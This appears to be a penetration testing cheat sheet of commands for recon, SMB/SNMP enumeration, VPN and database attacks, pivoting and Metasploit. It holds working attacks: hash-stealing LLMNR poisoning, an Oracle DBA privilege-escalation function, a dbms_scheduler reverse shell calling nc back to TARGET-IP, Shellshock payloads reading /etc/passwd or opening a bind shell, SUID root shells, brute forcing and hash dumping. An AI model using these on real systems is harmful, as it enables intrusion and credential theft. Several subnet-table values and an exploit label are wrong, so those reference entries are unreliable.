Introduction

Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration.

Changelog

17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

Pre-engagement

Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24 

Subnetting

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

OSINT

Passive Information Gathering

DNS

WHOIS enumeration
whois domain-name-here.com 
Perform DNS IP Lookup
dig a domain-name-here.com @nameserver 
Perform MX Record Lookup
dig mx domain-name-here.com @nameserver
Perform Zone Transfer with DIG
dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

Command Description

nslookup -> set type=any -> ls -d blah.com

Windows DNS zone transfer

dig axfr blah.com @ns1.blah.com

Linux DNS zone transfer

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

Command Description

nc -v 192.168.1.1 25

telnet 192.168.1.1 25

Basic versioning / finger printing via displayed banner

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

Active Information Gathering

DNS Bruteforce

DNSRecon

DNS Enumeration Kali - DNSRecon

root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

Command Description

nmap -v -sS -A -T4 target

Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services

nmap -v -sS -p--A -T4 target

As above but scans all TCP ports (takes a lot longer)

nmap -v -sU -sS -p- -A -T4 target

As above but scans all TCP ports and UDP scan (takes even longer)

nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X

Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover

ls /usr/share/nmap/scripts/* | grep ftp

Search nmap scripts for keywords

Nmap UDP Scanning
nmap -sU TARGET 
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt 

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt
Other Host Discovery

Other methods of host discovery, that don’t use nmap…

Command Description

netdiscover -r 192.168.1.0/24

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site

Enumeration & Attacking Network Services

Tools that will spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

SMB Enumeration Tools
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

Command Description

nbtscan 192.168.1.0/24

Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain

enum4linux -a target-ip

Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Fingerprint SMB Version
smbclient -L //192.168.1.100 
Find open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   
Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid
Manual Null session testing:

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131
NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
Run Responder.py for the whole engagement

Run Responder.py for the length of the engagement while you're working on other attack vectors.

SNMP Enumeration

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
Command Description

snmpcheck -t 192.168.1.X -c public

snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f

snmpenum -t 192.168.1.X

onesixtyone -c names -i hosts

SNMP enumeration

SNMPv3 Enumeration

Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Use Metasploits Wordlist

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration

RSH Run Commands
rsh <target> <command>
Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh_login
rusers Show Logged in Users
rusers -al 192.168.2.1
rusers scan whole Subnet
rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

finger [email protected] 

Solaris bug that shows all logged in users:

finger [email protected]  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g [email protected] 

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh

Test all the things on a single host and output to a .html file:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html  

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

apt-get install oscanner  

Run oscanner:

oscanner -s 192.168.1.200 -P 1521 

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

Brute force oracle user accounts

Identify default Oracle accounts:

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

Run nmap scripts against Oracle TNS:

nmap -p 1521 -A TARGET

Oracle Privilege Escalation

Requirements:

  • Oracle needs to be exposed on the network
  • A default account is in use like scott

Quick overview of how this works:

  1. Create the function
  2. Create an index on table SYS.DUAL
  3. The index we just created executes our function SCOTT.DBA_X
  4. The function will be executed by SYS user (as that’s the user that owns the table).
  5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:
SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs; 

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:
drop index exploit_1337; 
Get Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end; 

MSSQL

Enumeration / Discovery:

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping
Use MS SQL Servers Browse For More

Try using "Browse for More" via MS SQL Server Management Studio

Bruteforce MSSQL Login

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Network

Plink.exe Tunnel

PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Pivoting

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 [email protected]

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

ssh -D 127.0.0.1:1010 -p 22 [email protected]

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1011 -p 22 [email protected]

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

Operating System TTL Size

Windows

128

Linux

64

Solaris

255

Cisco / Network

255

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

Class IP Address Range

Class A IP Address Range

0.0.0.0 - 127.255.255.255

Class B IP Address Range

128.0.0.0 - 191.255.255.255

Class C IP Address Range

192.0.0.0 - 223.255.255.255

Class D IP Address Range

224.0.0.0 - 239.255.255.255

Class E IP Address Range

240.0.0.0 - 255.255.255.255

IPv4 Private Address Ranges

Class Range

Class A Private Address Range

10.0.0.0 - 10.255.255.255

Class B Private Address Range

172.16.0.0 - 172.31.255.255

Class C Private Address Range

192.168.0.0 - 192.168.255.255

127.0.0.0 - 127.255.255.255

IPv4 Subnet Cheat Sheet

CIDR Decimal Mask Number of Hosts

/31

255.255.255.254

1 Host

/30

255.255.255.252

2 Hosts

/29

255.255.255.249

6 Hosts

/28

255.255.255.240

14 Hosts

/27

255.255.255.224

30 Hosts

/26

255.255.255.192

62 Hosts

/25

255.255.255.128

126 Hosts

/24

255.255.255.0

254 Hosts

/23

255.255.254.0

512 Host

/22

255.255.252.0

1022 Hosts

/21

255.255.248.0

2046 Hosts

/20

255.255.240.0

4094 Hosts

/19

255.255.224.0

8190 Hosts

/18

255.255.192.0

16382 Hosts

/17

255.255.128.0

32766 Hosts

/16

255.255.0.0

65534 Hosts

/15

255.254.0.0

131070 Hosts

/14

255.252.0.0

262142 Hosts

/13

255.248.0.0

524286 Hosts

/12

255.240.0.0

1048674 Hosts

/11

255.224.0.0

2097150 Hosts

/10

255.192.0.0

4194302 Hosts

/9

255.128.0.0

8388606 Hosts

/8

255.0.0.0

16777214 Hosts

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

VPN Hacking

Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

  1. Identify VPN Servers
  2. Enumerate with IKEForce to obtain the group ID
  3. Use ike-scan to capture the PSK hash from the IKE endpoint
  4. Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers
./udp-protocol-scanner.pl -p ike SUBNET/24
Step 2: Enumerate group name with IKEForce
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Step 3: Use ike-scan to capture the PSK hash
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Step 4: Use psk-crack to crack the PSK hash
psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling

Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

Attacking Machine

Installtion:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Run dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Target Machine:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

Command Description

searchsploit windows 2003 | grep -i local

Search exploit-db for exploit, in this example windows 2003 + local esc

site:exploit-db.com exploit kernel <= 3

Use google to search exploit-db.com for exploits

grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*

Search metasploit modules using grep - msf search sucks a bit

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell
nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Command Description

python -m SimpleHTTPServer 80

Run a basic http server, great for serving up shells etc

python3 -m http.server

Run a basic Python3 http server, great for serving up shells etc

ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"

Run a ruby webrick basic http server

php -S 0.0.0.0:80

Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command Description

mount 192.168.1.1:/vol/share /mnt/nfs

Mount NFS share to /mnt/nfs

mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs

Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)

net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no

Mount a Windows share on Windows from the command line

apt-get install smb4k -y

Install smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

Command Description

nikto -h 192.168.1.1

Perform a nikto scan against target

dirbuster

Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

Command Description

tcpdump tcp port 80 -w output.pcap -i eth0

tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

Command Description

python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

Enumerate users from SMB

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

Command Description

snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4

Enmerate users from SNMP

python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX

Enmerate users from SNMP

nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)

Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

Command Description

/usr/share/wordlists

Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

Command Description

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V

Hydra FTP brute force

Hydra POP3 Brute Force

Command Description

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V

Hydra POP3 brute force

Hydra SMTP Brute Force

Command Description

hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Hydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

John The Ripper - JTR

Command Description

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

JTR password cracking

john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt

JTR forced descrypt cracking with wordlist

john --format=descrypt hash --show

JTR forced descrypt brute force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Command Description

process.h, string.h, winbase.h, windows.h, winsock2.h

Windows exploit code

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h

Linux exploit code

Build Exploit GCC

Compile exploit gcc.

Command Description

gcc -o exploit exploit.c

Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Command Description

gcc -m32 exploit.c -o exploit

Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

Command Description

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c  

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Some basic Metasploit stuff, that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Command Description

set payload windows/meterpreter/reverse_tcp

Windows reverse tcp payload

Windows VNC Meterpreter payload

Command Description

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

Command Description

set payload linux/meterpreter/reverse_tcp

Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Command Description

upload file c:\\windows

Meterpreter upload file to Windows target

download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

execute -f c:\\windows\temp\exploit.exe

Meterpreter run .exe on target - handy for executing uploaded exploits

execute -f cmd -c

Creates new channel with cmd shell

ps

Meterpreter show processes

shell

Meterpreter get shell on the target

getsystem

Meterpreter attempts priviledge escalation the target

hashdump

Meterpreter attempts to dump the hashes on the target

portfwd add –l 3389 –p 3389 –r target

Meterpreter create port forward to target machine

portfwd delete –l 3389 –p 3389 –r target

Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Command Description

use exploit/windows/smb/ms08_067_netapi

MS08_067 Windows 2k, XP, 2003 Remote Exploit

use exploit/windows/dcerpc/ms06_040_netapi

MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit

use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index

MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

Command Description

use exploit/windows/local/bypassuac

Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

Command Description

use auxiliary/scanner/http/dir_scanner

Metasploit HTTP directory scanner

use auxiliary/scanner/http/jboss_vulnscan

Metasploit JBOSS vulnerability scanner

use auxiliary/scanner/mssql/mssql_login

Metasploit MSSQL Credential Scanner

use auxiliary/scanner/mysql/mysql_version

Metasploit MSSQL Version Scanner

use auxiliary/scanner/oracle/oracle_login

Metasploit Oracle Login Module

Metasploit Powershell Modules

Command Description

use exploit/multi/script/web_delivery

Metasploit powershell payload delivery module

post/windows/manage/powershell/exec_powershell

Metasploit upload and run powershell script through a session

use exploit/multi/http/jboss_maindeployer

Metasploit JBOSS deploy

use exploit/windows/mssql/mssql_payload

Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

Command Description

run post/windows/gather/win_privs

Metasploit show privileges of current user

use post/windows/gather/credentials/gpp

Metasploit grab GPP saved passwords

load mimikatz -> wdigest

Metasplit load Mimikatz

run post/windows/gather/local_admin_search_enum

Idenitfy other machines that the supplied domain user has administrative access to

run post/windows/gather/smart_hashdump

Automated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII Character

x00

Null Byte

x08

BS

x09

TAB

x0a

LF

x0d

CR

x1b

ESC

x20

SPC

x21

!

x22

"

x23

#

x24

$

x25

%

x26

&

x27

`

x28

(

x29

)

x2a

*

x2b

+

x2c

,

x2d

-

x2e

.

x2f

/

x30

0

x31

1

x32

2

x33

3

x34

4

x35

5

x36

6

x37

7

x38

8

x39

9

x3a

:

x3b

;

x3c

<

x3d

=

x3e

>

x3f

?

x40

@

x41

A

x42

B

x43

C

x44

D

x45

E

x46

F

x47

G

x48

H

x49

I

x4a

J

x4b

K

x4c

L

x4d

M

x4e

N

x4f

O

x50

P

x51

Q

x52

R

x53

S

x54

T

x55

U

x56

V

x57

W

x58

X

x59

Y

x5a

Z

x5b

[

x5c

\

x5d

]

x5e

^

x5f

_

x60

`

x61

a

x62

b

x63

c

x64

d

x65

e

x66

f

x67

g

x68

h

x69

i

x6a

j

x6b

k

x6c

l

x6d

m

x6e

n

x6f

o

x70

p

x71

q

x72

r

x73

s

x74

t

x75

u

x76

v

x77

w

x78

x

x79

y

x7a

z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Command Description

enable

Enters enable mode

conf t

Short for, configure terminal

(config)# interface fa0/0

Configure FastEthernet 0/0

(config-if)# ip addr 0.0.0.0 255.255.255.255

Add ip to fa0/0

(config-if)# ip addr 0.0.0.0 255.255.255.255

Add ip to fa0/0

(config-if)# line vty 0 4

Configure vty line

(config-line)# login

Cisco set telnet password

(config-line)# password YOUR-PASSWORD

Set telnet password

# show running-config

Show running config loaded in memory

# show startup-config

Show sartup config

# show version

show cisco IOS version

# show session

display open sessions

# show ip interface

Show network interfaces

# show interface e0

Show detailed interface info

# show ip route

Show routes

# show access-lists

Show access lists

# dir file systems

Show available files

# dir all-filesystems

File information

# dir /all

SHow deleted files

# terminal length 0

No limit on terminal output

# copy running-config tftp

Copys running config to tftp server

# copy running-config startup-config

Copy startup-config to running-config

Cryptography

Hash Lengths

Hash Size

MD5 Hash Length

16 Bytes

SHA-1 Hash Length

20 Bytes

SHA-256 Hash Length

32 Bytes

SHA-512 Hash Length

64 Bytes

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

Hash Example

MD5 Hash Example

8743b52063cd84097a65d1633f5c74f5

MD5 $PASS:$SALT Example

01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $SALT:$PASS

f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash Example

b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT

2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $SALT:$PASS

cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256

127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935

SHA-256 $PASS:$SALT

c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4

SHA-256 $SALT:$PASS

eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617

SHA-512

82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f

SHA-512 $PASS:$SALT

e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd

SHA-512 $SALT:$PASS

976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a

NTLM Hash Example

b4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

Command Description

sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3

Automated sqlmap scan

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"

Targeted sqlmap scan

sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump

Scan url for union + error based injection with mysql backend
and use a random user agent + database dump

sqlmap -o -u "http://meh.com/form/" --forms

sqlmap check form for injection

sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump

sqlmap dump and crack hashes for table users on database-name.